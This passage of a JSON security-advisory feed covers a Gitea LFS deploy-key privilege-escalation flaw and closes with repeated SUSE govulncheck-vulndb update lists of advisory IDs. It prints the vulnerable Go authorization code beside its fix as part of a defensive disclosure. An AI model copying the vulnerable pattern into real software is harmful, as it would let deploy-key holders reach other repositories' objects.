`RepoID`; authorization decisions about *other* repos should not be made using the JWT `UserID`.\n```go\n// BEFORE (vulnerable):\nif exists \u0026\u0026 meta == nil {\n    accessible, err := git_model.LFSObjectAccessible(ctx, ctx.Doer, p.Oid)\n    if err != nil {\n        log.Error(\"Unable to check if LFS MetaObject [%s] is accessible: %v\", p.Oid, err)\n        writeStatus(ctx, http.StatusInternalServerError)\n        return\n    }\n    if accessible {\n        _, err := git_model.NewLFSMetaObject(ctx, repository.ID, p)\n        if err != nil {\n            log.Error(\"Unable to create LFS MetaObject [%s] for %s/%s. Error: %v\", p.Oid, rc.User, rc.Repo, err)\n            writeStatus(ctx, http.StatusInternalServerError)\n            return\n        }\n    } else {\n        exists = false\n    }\n}\n```\n\n```go\n// After (safe):\nif exists \u0026\u0026 meta == nil {\n    // Do not use ctx.Doer for cross-repo decisions — the JWT only authorizes\n    // access to this repo. Always require proof-of-possession for objects\n    // not already linked here.\n    exists = false\n}\n```\n\nThe client will re-upload the bytes (which are hash-verified). \nPerformance cost: one redundant upload per cross-repo object. Security gain: the cross-repo trust boundary is enforced regardless of how the JWT was issued.\n\nFull patch: [fix1.patch](https://github.com/user-attachments/files/28830753/fix1.patch)\n\n**Fix 2 — `routers/private/serv.go:275` (fix the source)**\n\nStop embedding `repo.OwnerID` in the JWT for deploy keys. Options:\n- Add a `DeployKeyID` field to the JWT `Claims` struct; teach `handleLFSToken` to construct a minimal synthetic principal with exactly the deploy key's permissions (single-repo, mode-limited).\n- Or mint a separate JWT type for deploy keys that `server.go` treats as repo-scoped only, refusing to use it for cross-repo operations.\n\nPatch provenance: AI-generated + Human-reviewed\n\n## Attribution\n\nThis vulnerability was discovered by Claude, Anthropic's AI assistant, and triaged by Adrian Denkiewicz at Doyensec in collaboration with Anthropic Research.\n\nFor CVE credits and public acknowledgments: Doyensec in collaboration with Claude and Anthropic Research.","status":"published","published":"2026-07-21T21:00:51Z","modified":"2026-07-27T17:11:31.901537724Z","cvss":[{"version":"3.1","score":5.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-266","CWE-639"],"updated_at":"2026-11-02T15:46:55.877614Z"},{"id":"GO-2026-6073","title":"Gitea LFS Deploy-Key Privilege Escalation in gitea.dev","description":"Gitea LFS Deploy-Key Privilege Escalation in gitea.dev","status":"published","published":"2026-07-27T15:32:45Z","modified":"2026-07-27T17:00:26.230082402Z","updated_at":"2026-11-02T15:47:02.838915Z"},{"id":"openSUSE-SU-2026:21551-1","title":"Security update for govulncheck-vulndb","description":"This update for govulncheck-vulndb fixes the following issues:\n\n- Update to version 0.0.20260727T201416 2026-07-27T20:14:16Z (jsc#PED-11136):\n\n Go CVE Numbering Authority IDs added or updated with aliases:\n * GO-2026-5046 CVE-2026-46385 GHSA-w8j3-pq8g-8m7w\n * GO-2026-5047 CVE-2026-46384 GHSA-mc57-h6j3-3hmv\n * GO-2026-5048 GHSA-mx64-mj3q-7prj\n * GO-2026-5051\n * GO-2026-5069 CVE-2026-30246 GHSA-35hp-hqmv-8qg8\n * GO-2026-5074 CVE-2026-45022 GHSA-389r-gv7p-r3rp\n * GO-2026-5105 CVE-2026-41506 GHSA-3xc5-wrhm-f963\n * GO-2026-5116 CVE-2026-44517 GHSA-49p4-px3h-rq49\n * GO-2026-5158 CVE-2026-41178 GHSA-5wrp-cwcj-q835\n * GO-2026-5198 CVE-2026-41642 GHSA-7235-89m6-f4px\n * GO-2026-5208 CVE-2026-40890 GHSA-77fj-vx54-gvh7\n * GO-2026-5266 CVE-2026-41643 GHSA-8rxh-r2p6-7f2q\n * GO-2026-5309 GHSA-c3wq-j5vh-68rc\n * GO-2026-5327 CVE-2026-2303 GHSA-cp6g-7hqx-qxhp\n * GO-2026-5336 CVE-2026-45571 GHSA-crhj-59gh-8x96\n * GO-2026-5346 CVE-2026-52845 GHSA-f59h-q822-g45g\n * GO-2026-5408 GHSA-gx7w-56w6-g48x\n * GO-2026-5426 CVE-2026-39883 GHSA-hfvc-g4fc-pqhx\n * GO-2026-5435 CVE-2026-35206 GHSA-hr2v-4r36-88hr\n * GO-2026-5452 CVE-2026-34783 GHSA-j6v5-g24h-vg4j\n * GO-2026-5463 CVE-2026-8276 GHSA-jcqv-2g3v-gm88\n * GO-2026-5471 CVE-2026-6993 GHSA-jj45-xvq5-rhh9\n * GO-2026-5490 CVE-2026-44740 GHSA-m3xc-h892-ggx6\n * GO-2026-5492 CVE-2026-45135 GHSA-m675-2p33-xv9g\n * GO-2026-5506 CVE-2026-29181 GHSA-mh2q-q3fh-2475\n * GO-2026-5525 CVE-2026-42285 GHSA-p3w2-64xm-833j\n * GO-2026-5543 CVE-2026-32952 GHSA-pjcq-xvwq-hhpj\n * GO-2026-5548 CVE-2026-44166 GHSA-pq7p-mc74-g65w\n * GO-2026-5566 CVE-2026-35205 GHSA-q5jf-9vfq-h4h7\n * GO-2026-5569 GHSA-q76j-gcg9-vxc6\n * GO-2026-5585 CVE-2026-42554 GHSA-qjv7-627w-8qjv\n * GO-2026-5593 CVE-2026-40611 GHSA-qqx8-2xmm-jrv8\n * GO-2026-5595 CVE-2026-52844 GHSA-qrp7-cvwr-j2c6\n * GO-2026-5597 CVE-2026-44973 GHSA-qw64-3x98-g7q2\n * GO-2026-5606 GHSA-r46f-3rpw-hxrv\n * GO-2026-5617 CVE-2026-42306 GHSA-rg2x-37c3-w2rh\n * GO-2026-5660 CVE-2026-52846 GHSA-vcc4-2c75-vc9v\n * GO-2026-5666 CVE-2026-35204 GHSA-vmx8-mqv2-9gmg\n * GO-2026-5684 CVE-2026-42328 GHSA-w239-58x2-q8p5\n * GO-2026-5693 GHSA-w5pp-99ch-qj29\n * GO-2026-5730 GHSA-wwhq-w58m-w29c\n * GO-2026-5736 CVE-2026-44283 GHSA-x35m-3gp4-4fh5\n * GO-2026-5740 CVE-2026-44301 GHSA-x597-9fr4-5857\n * GO-2026-5748 CVE-2026-7482 GHSA-x8qc-fggm-mpqg\n * GO-2026-5750 CVE-2026-7020 GHSA-x99g-8v8j-25j2\n * GO-2026-5774 GHSA-3fxj-6jh8-hvhx\n * GO-2026-5775 GHSA-9g5q-2w5x-hmxf\n * GO-2026-5777 GHSA-rjr7-jggh-pgcp\n * GO-2026-5781\n * GO-2026-5841 GHSA-259r-337f-4rfw\n * GO-2026-5879 CVE-2026-50162 GHSA-8xwf-rjm4-xvhv\n * GO-2026-5880 CVE-2026-50163 GHSA-fxhp-mv3v-67qp\n * GO-2026-5882 CVE-2026-50151 GHSA-jxpm-75mh-9fp7\n * GO-2026-5884 GHSA-vh4v-2xq2-g5cg\n * GO-2026-5885 CVE-2026-48978 GHSA-xf85-363p-868w\n * GO-2026-5886 CVE-2026-44332 GHSA-g5vh-55hw-rxm8\n * GO-2026-5887 CVE-2026-45045 GHSA-gcfq-8gqf-4876\n * GO-2026-5912 CVE-2026-53624 GHSA-gv83-gqw6-9j2c\n * GO-2026-5954 CVE-2026-49838 GHSA-frrj-87jh-2772\n * GO-2026-5955 CVE-2026-49837 GHSA-gjrg-jjr3-56cm\n * GO-2026-5960 CVE-2026-54063 GHSA-h69g-9hx6-f3v4\n * GO-2026-5971 CVE-2026-37462 GHSA-pw7p-7fqv-hpj8\n * GO-2026-5983 CVE-2026-54448 GHSA-q3fv-x8vg-qqm4\n * GO-2026-6000 CVE-2026-50274 GHSA-74j5-xf3v-crq8\n * GO-2026-6058 CVE-2026-58442 GHSA-h2x6-g7q6-344v\n * GO-2026-6059 CVE-2026-58431 GHSA-h56g-4qw7-2mxg\n * GO-2026-6060 CVE-2026-58426 GHSA-hg5r-vq93-9fv6\n * GO-2026-6061 GHSA-hrxh-6v49-42gf\n * GO-2026-6062 CVE-2026-58434 GHSA-j2w3-9c3r-g83q\n * GO-2026-6063 CVE-2026-58417 GHSA-jr5x-6h83-wrxf\n * GO-2026-6064 CVE-2026-55984 GHSA-m932-crvm-gcp5\n * GO-2026-6065 CVE-2026-55982 GHSA-mg4f-x9v4-6h2p\n * GO-2026-6066 CVE-2026-58507 GHSA-p4mj-98mv-xq26\n * GO-2026-6067 CVE-2026-58445 GHSA-pgqf-926r-548m\n * GO-2026-6068 CVE-2026-58427 GHSA-prr9-9mp4-5gp2\n * GO-2026-6069 CVE-2026-58510 GHSA-q423-49rw-g9mh\n * GO-2026-6070 CVE-2026-58432 GHSA-q9pg-jj6x-j9p6\n * GO-2026-6071 CVE-2026-59766 GHSA-qf2f-qh6p-7v89\n * GO-2026-6072 CVE-2026-56750 GHSA-rgv6-xp99-6mgj\n * GO-2026-6073 CVE-2026-58435 GHSA-rh79-75qm-gwjr\n * GO-2026-6074 GHSA-rjvx-x5h2-6px5\n * GO-2026-6075 CVE-2026-58418 GHSA-rqhx-647v-wx32\n * GO-2026-6076 CVE-2026-25038 GHSA-v73x-hx65-6pf4\n * GO-2026-6077 CVE-2026-58421 GHSA-v96j-25gv-g2w9\n * GO-2026-6078 CVE-2026-55987 GHSA-vrhc-jjfc-m3m3\n * GO-2026-6079 CVE-2026-58425 GHSA-vxv2-8j6r-pcpg\n * GO-2026-6080 CVE-2026-58439 GHSA-w5pg-649r-p6gg\n * GO-2026-6081 CVE-2026-24451 GHSA-wrf9-r3h7-7x5v\n * GO-2026-6082 CVE-2026-42931 GHSA-wwqq-x6w4-frm2\n * GO-2026-6083 CVE-2026-23603 GHSA-x77v-q46j-393g\n * GO-2026-6084 CVE-2026-58441 GHSA-xmj7-xj85-hfc3\n * GO-2026-6085 CVE-2026-58438 GHSA-xv9x-fj9g-vj6h\n * GO-2026-6086 CVE-2026-58443 GHSA-xxjv-752h-3vp2\n","status":"published","published":"2026-08-10T17:38:07Z","modified":"2026-08-12T18:23:41.809969353Z","updated_at":"2026-11-02T16:58:41.885092Z"},{"id":"SUSE-SU-2026:23216-1","title":"Security update for govulncheck-vulndb","description":"This update for govulncheck-vulndb fixes the following issues:\n\n- Update to version 0.0.20260727T201416 2026-07-27T20:14:16Z (jsc#PED-11136):\n\n Go CVE Numbering Authority IDs added or updated with aliases:\n * GO-2026-5046 CVE-2026-46385 GHSA-w8j3-pq8g-8m7w\n * GO-2026-5047 CVE-2026-46384 GHSA-mc57-h6j3-3hmv\n * GO-2026-5048 GHSA-mx64-mj3q-7prj\n * GO-2026-5051\n * GO-2026-5069 CVE-2026-30246 GHSA-35hp-hqmv-8qg8\n * GO-2026-5074 CVE-2026-45022 GHSA-389r-gv7p-r3rp\n * GO-2026-5105 CVE-2026-41506 GHSA-3xc5-wrhm-f963\n * GO-2026-5116 CVE-2026-44517 GHSA-49p4-px3h-rq49\n * GO-2026-5158 CVE-2026-41178 GHSA-5wrp-cwcj-q835\n * GO-2026-5198 CVE-2026-41642 GHSA-7235-89m6-f4px\n * GO-2026-5208 CVE-2026-40890 GHSA-77fj-vx54-gvh7\n * GO-2026-5266 CVE-2026-41643 GHSA-8rxh-r2p6-7f2q\n * GO-2026-5309 GHSA-c3wq-j5vh-68rc\n * GO-2026-5327 CVE-2026-2303 GHSA-cp6g-7hqx-qxhp\n * GO-2026-5336 CVE-2026-45571 GHSA-crhj-59gh-8x96\n * GO-2026-5346 CVE-2026-52845 GHSA-f59h-q822-g45g\n * GO-2026-5408 GHSA-gx7w-56w6-g48x\n * GO-2026-5426 CVE-2026-39883 GHSA-hfvc-g4fc-pqhx\n * GO-2026-5435 CVE-2026-35206 GHSA-hr2v-4r36-88hr\n * GO-2026-5452 CVE-2026-34783 GHSA-j6v5-g24h-vg4j\n * GO-2026-5463 CVE-2026-8276 GHSA-jcqv-2g3v-gm88\n * GO-2026-5471 CVE-2026-6993 GHSA-jj45-xvq5-rhh9\n * GO-2026-5490 CVE-2026-44740 GHSA-m3xc-h892-ggx6\n * GO-2026-5492 CVE-2026-45135 GHSA-m675-2p33-xv9g\n * GO-2026-5506 CVE-2026-29181 GHSA-mh2q-q3fh-2475\n * GO-2026-5525 CVE-2026-42285 GHSA-p3w2-64xm-833j\n * GO-2026-5543 CVE-2026-32952 GHSA-pjcq-xvwq-hhpj\n * GO-2026-5548 CVE-2026-44166 GHSA-pq7p-mc74-g65w\n * GO-2026-5566 CVE-2026-35205 GHSA-q5jf-9vfq-h4h7\n * GO-2026-5569 GHSA-q76j-gcg9-vxc6\n * GO-2026-5585 CVE-2026-42554 GHSA-qjv7-627w-8qjv\n * GO-2026-5593 CVE-2026-40611 GHSA-qqx8-2xmm-jrv8\n * GO-2026-5595 CVE-2026-52844 GHSA-qrp7-cvwr-j2c6\n * GO-2026-5597 CVE-2026-44973 GHSA-qw64-3x98-g7q2\n * GO-2026-5606 GHSA-r46f-3rpw-hxrv\n * GO-2026-5617 CVE-2026-42306 GHSA-rg2x-37c3-w2rh\n * GO-2026-5660 CVE-2026-52846 GHSA-vcc4-2c75-vc9v\n * GO-2026-5666 CVE-2026-35204 GHSA-vmx8-mqv2-9gmg\n * GO-2026-5684 CVE-2026-42328 GHSA-w239-58x2-q8p5\n * GO-2026-5693 GHSA-w5pp-99ch-qj29\n * GO-2026-5730 GHSA-wwhq-w58m-w29c\n * GO-2026-5736 CVE-2026-44283 GHSA-x35m-3gp4-4fh5\n * GO-2026-5740 CVE-2026-44301 GHSA-x597-9fr4-5857\n * GO-2026-5748 CVE-2026-7482 GHSA-x8qc-fggm-mpqg\n * GO-2026-5750 CVE-2026-7020 GHSA-x99g-8v8j-25j2\n * GO-2026-5774 GHSA-3fxj-6jh8-hvhx\n * GO-2026-5775 GHSA-9g5q-2w5x-hmxf\n * GO-2026-5777 GHSA-rjr7-jggh-pgcp\n * GO-2026-5781\n * GO-2026-5841 GHSA-259r-337f-4rfw\n * GO-2026-5879 CVE-2026-50162 GHSA-8xwf-rjm4-xvhv\n * GO-2026-5880 CVE-2026-50163 GHSA-fxhp-mv3v-67qp\n * GO-2026-5882 CVE-2026-50151 GHSA-jxpm-75mh-9fp7\n * GO-2026-5884 GHSA-vh4v-2xq2-g5cg\n * GO-2026-5885 CVE-2026-48978 GHSA-xf85-363p-868w\n * GO-2026-5886 CVE-2026-44332 GHSA-g5vh-55hw-rxm8\n * GO-2026-5887 CVE-2026-45045 GHSA-gcfq-8gqf-4876\n * GO-2026-5912 CVE-2026-53624 GHSA-gv83-gqw6-9j2c\n * GO-2026-5954 CVE-2026-49838 GHSA-frrj-87jh-2772\n * GO-2026-5955 CVE-2026-49837 GHSA-gjrg-jjr3-56cm\n * GO-2026-5960 CVE-2026-54063 GHSA-h69g-9hx6-f3v4\n * GO-2026-5971 CVE-2026-37462 GHSA-pw7p-7fqv-hpj8\n * GO-2026-5983 CVE-2026-54448 GHSA-q3fv-x8vg-qqm4\n * GO-2026-6000 CVE-2026-50274 GHSA-74j5-xf3v-crq8\n * GO-2026-6058 CVE-2026-58442 GHSA-h2x6-g7q6-344v\n * GO-2026-6059 CVE-2026-58431 GHSA-h56g-4qw7-2mxg\n * GO-2026-6060 CVE-2026-58426 GHSA-hg5r-vq93-9fv6\n * GO-2026-6061 GHSA-hrxh-6v49-42gf\n * GO-2026-6062 CVE-2026-58434 GHSA-j2w3-9c3r-g83q\n * GO-2026-6063 CVE-2026-58417 GHSA-jr5x-6h83-wrxf\n * GO-2026-6064 CVE-2026-55984 GHSA-m932-crvm-gcp5\n * GO-2026-6065 CVE-2026-55982 GHSA-mg4f-x9v4-6h2p\n * GO-2026-6066 CVE-2026-58507 GHSA-p4mj-98mv-xq26\n * GO-2026-6067 CVE-2026-58445 GHSA-pgqf-926r-548m\n * GO-2026-6068 CVE-2026-58427 GHSA-prr9-9mp4-5gp2\n * GO-2026-6069 CVE-2026-58510 GHSA-q423-49rw-g9mh\n * GO-2026-6070 CVE-2026-58432 GHSA-q9pg-jj6x-j9p6\n * GO-2026-6071 CVE-2026-59766 GHSA-qf2f-qh6p-7v89\n * GO-2026-6072 CVE-2026-56750 GHSA-rgv6-xp99-6mgj\n * GO-2026-6073 CVE-2026-58435 GHSA-rh79-75qm-gwjr\n * GO-2026-6074 GHSA-rjvx-x5h2-6px5\n * GO-2026-6075 CVE-2026-58418 GHSA-rqhx-647v-wx32\n * GO-2026-6076 CVE-2026-25038 GHSA-v73x-hx65-6pf4\n * GO-2026-6077 CVE-2026-58421 GHSA-v96j-25gv-g2w9\n * GO-2026-6078 CVE-2026-55987 GHSA-vrhc-jjfc-m3m3\n * GO-2026-6079 CVE-2026-58425 GHSA-vxv2-8j6r-pcpg\n * GO-2026-6080 CVE-2026-58439 GHSA-w5pg-649r-p6gg\n * GO-2026-6081 CVE-2026-24451 GHSA-wrf9-r3h7-7x5v\n * GO-2026-6082 CVE-2026-42931 GHSA-wwqq-x6w4-frm2\n * GO-2026-6083 CVE-2026-23603 GHSA-x77v-q46j-393g\n * GO-2026-6084 CVE-2026-58441 GHSA-xmj7-xj85-hfc3\n * GO-2026-6085 CVE-2026-58438 GHSA-xv9x-fj9g-vj6h\n * GO-2026-6086 CVE-2026-58443 GHSA-xxjv-752h-3vp2\n","status":"published","published":"2026-08-10T17:34:15Z","modified":"2026-08-27T18:23:09.233788558Z","updated_at":"2026-11-02T15:54:03.503431Z"},{"id":"SUSE-SU-2026:23227-1","title":"Security update for govulncheck-vulndb","description":"This update for govulncheck-vulndb fixes the following issues:\n\n- Update to version 0.0.20260727T201416 2026-07-27T20:14:16Z (jsc#PED-11136):\n\n Go CVE Numbering Authority IDs added or updated with aliases:\n * GO-2026-5046 CVE-2026-46385 GHSA-w8j3-pq8g-8m7w\n * GO-2026-5047 CVE-2026-46384 GHSA-mc57-h6j3-3hmv\n * GO-2026-5048 GHSA-mx64-mj3q-7prj\n * GO-2026-5051\n * GO-2026-5069 CVE-2026-30246 GHSA-35hp-hqmv-8qg8\n * GO-2026-5074 CVE-2026-45022 GHSA-389r-gv7p-r3rp\n * GO-2026-5105 CVE-2026-41506 GHSA-3xc5-wrhm-f963\n * GO-2026-5116 CVE-2026-44517 GHSA-49p4-px3h-rq49\n * GO-2026-5158 CVE-2026-41178 GHSA-5wrp-cwcj-q835\n * GO-2026-5198 CVE-2026-41642 GHSA-7235-89m6-f4px\n * GO-2026-5208 CVE-2026-40890 GHSA-77fj-vx54-gvh7\n * GO-2026-5266 CVE-2026-41643 GHSA-8rxh-r2p6-7f2q\n * GO-2026-5309 GHSA-c3wq-j5vh-68rc\n * GO-2026-5327 CVE-2026-2303 GHSA-cp6g-7hqx-qxhp\n * GO-2026-5336 CVE-2026-45571 GHSA-crhj-59gh-8x96\n * GO-2026-5346 CVE-2026-52845 GHSA-f59h-q822-g45g\n * GO-2026-5408 GHSA-gx7w-56w6-g48x\n * GO-2026-5426 CVE-2026-39883 GHSA-hfvc-g4fc-pqhx\n * GO-2026-5435 CVE-2026-35206 GHSA-hr2v-4r36-88hr\n * GO-2026-5452 CVE-2026-34783 GHSA-j6v5-g24h-vg4j\n * GO-2026-5463 CVE-2026-8276 GHSA-jcqv-2g3v-gm88\n * GO-2026-5471 CVE-2026-6993 GHSA-jj45-xvq5-rhh9\n * GO-2026-5490 CVE-2026-44740 GHSA-m3xc-h892-ggx6\n * GO-2026-5492 CVE-2026-45135 GHSA-m675-2p33-xv9g\n * GO-2026-5506 CVE-2026-29181 GHSA-mh2q-q3fh-2475\n * GO-2026-5525 CVE-2026-42285 GHSA-p3w2-64xm-833j\n * GO-2026-5543 CVE-2026-32952 GHSA-pjcq-xvwq-hhpj\n * GO-2026-5548 CVE-2026-44166 GHSA-pq7p-mc74-g65w\n * GO-2026-5566 CVE-2026-35205 GHSA-q5jf-9vfq-h4h7\n * GO-2026-5569 GHSA-q76j-gcg9-vxc6\n * GO-2026-5585 CVE-2026-42554 GHSA-qjv7-627w-8qjv\n * GO-2026-5593 CVE-2026-40611 GHSA-qqx8-2xmm-jrv8\n * GO-2026-5595 CVE-2026-52844 GHSA-qrp7-cvwr-j2c6\n * GO-2026-5597 CVE-2026-44973 GHSA-qw64-3x98-g7q2\n * GO-2026-5606 GHSA-r46f-3rpw-hxrv\n * GO-2026-5617 CVE-2026-42306 GHSA-rg2x-37c3-w2rh\n * GO-2026-5660 CVE-2026-52846 GHSA-vcc4-2c75-vc9v\n * GO-2026-5666 CVE-2026-35204 GHSA-vmx8-mqv2-9gmg\n * GO-2026-5684 CVE-2026-42328 GHSA-w239-58x2-q8p5\n * GO-2026-5693 GHSA-w5pp-99ch-qj29\n * GO-2026-5730 GHSA-wwhq-w58m-w29c\n * GO-2026-5736 CVE-2026-44283 GHSA-x35m-3gp4-4fh5\n * GO-2026-5740 CVE-2026-44301 GHSA-x597-9fr4-5857\n * GO-2026-5748 CVE-2026-7482 GHSA-x8qc-fggm-mpqg\n * GO-2026-5750 CVE-2026-7020 GHSA-x99g-8v8j-25j2\n * GO-2026-5774 GHSA-3fxj-6jh8-hvhx\n * GO-2026-5775 GHSA-9g5q-2w5x-hmxf\n * GO-2026-5777 GHSA-rjr7-jggh-pgcp\n * GO-2026-5781\n * GO-2026-5841 GHSA-259r-337f-4rfw\n * GO-2026-5879 CVE-2026-50162 GHSA-8xwf-rjm4-xvhv\n * GO-2026-5880 CVE-2026-50163 GHSA-fxhp-mv3v-67qp\n * GO-2026-5882 CVE-2026-50151 GHSA-jxpm-75mh-9fp7\n * GO-2026-5884 GHSA-vh4v-2xq2-g5cg\n * GO-2026-5885 CVE-2026-48978 GHSA-xf85-363p-868w\n * GO-2026-5886 CVE-2026-44332 GHSA-g5vh-55hw-rxm8\n * GO-2026-5887 CVE-2026-45045 GHSA-gcfq-8gqf-4876\n * GO-2026-5912 CVE-2026-53624 GHSA-gv83-gqw6-9j2c\n * GO-2026-5954 CVE-2026-49838 GHSA-frrj-87jh-2772\n * GO-2026-5955 CVE-2026-49837 GHSA-gjrg-jjr3-56cm\n * GO-2026-5960 CVE-2026-54063 GHSA-h69g-9hx6-f3v4\n * GO-2026-5971 CVE-2026-37462 GHSA-pw7p-7fqv-hpj8\n * GO-2026-5983 CVE-2026-54448 GHSA-q3fv-x8vg-qqm4\n * GO-2026-6000 CVE-2026-50274 GHSA-74j5-xf3v-crq8\n * GO-2026-6058 CVE-2026-58442 GHSA-h2x6-g7q6-344v\n * GO-2026-6059 CVE-2026-58431 GHSA-h56g-4qw7-2mxg\n * GO-2026-6060 CVE-2026-58426 GHSA-hg5r-vq93-9fv6\n * GO-2026-6061 GHSA-hrxh-6v49-42gf\n * GO-2026-6062 CVE-2026-58434 GHSA-j2w3-9c3r-g83q\n * GO-2026-6063 CVE-2026-58417 GHSA-jr5x-6h83-wrxf\n * GO-2026-6064 CVE-2026-55984 GHSA-m932-crvm-gcp5\n * GO-2026-6065 CVE-2026-55982 GHSA-mg4f-x9v4-6h2p\n * GO-2026-6066 CVE-2026-58507 GHSA-p4mj-98mv-xq26\n * GO-2026-6067 CVE-2026-58445 GHSA-pgqf-926r-548m\n * GO-2026-6068 CVE-2026-58427 GHSA-prr9-9mp4-5gp2\n * GO-2026-6069 CVE-2026-58510 GHSA-q423-49rw-g9mh\n * GO-2026-6070 CVE-2026-58432 GHSA-q9pg-jj6x-j9p6\n * GO-2026-6071 CVE-2026-59766 GHSA-qf2f-qh6p-7v89\n * GO-2026-6072 CVE-2026-56750 GHSA-rgv6-xp99-6mgj\n * GO-2026-6073 CVE-2026-58435 GHSA-rh79-75qm-gwjr\n * GO-2026-6074 GHSA-rjvx-x5h2-6px5\n * GO-2026-6075 CVE-2026-58418 GHSA-rqhx-647v-wx32\n * GO-2026-6076 CVE-2026-25038 GHSA-v73x-hx65-6pf4\n * GO-2026-6077 CVE-2026-58421 GHSA-v96j-25gv-g2w9\n * GO-2026-6078 CVE-2026-55987 GHSA-vrhc-jjfc-m3m3\n * GO-2026-6079 CVE-2026-58425 GHSA-vxv2-8j6r-pcpg\n * GO-2026-6080 CVE-2026-58439 GHSA-w5pg-649r-p6gg\n * GO-2026-6081 CVE-2026-24451 GHSA-wrf9-r3h7-7x5v\n * GO-2026-6082 CVE-2026-42931 GHSA-wwqq-x6w4-frm2\n * GO-2026-6083 CVE-2026-23603 GHSA-x77v-q46j-393g\n * GO-2026-6084 CVE-2026-58441 GHSA-xmj7-xj85-hfc3\n * GO-2026-6085 CVE-2026-58438 GHSA-xv9x-fj9g-vj6h\n * GO-2026-6086 CVE-2026-58443 GHSA-xxjv-752h-3vp2\n","status":"published","published":"2026-08-10T17:34:15Z","modified":"2026-08-27T18:23:10.174179412Z","updated_at":"2026-11-02T15:54:03.503431Z"}]}}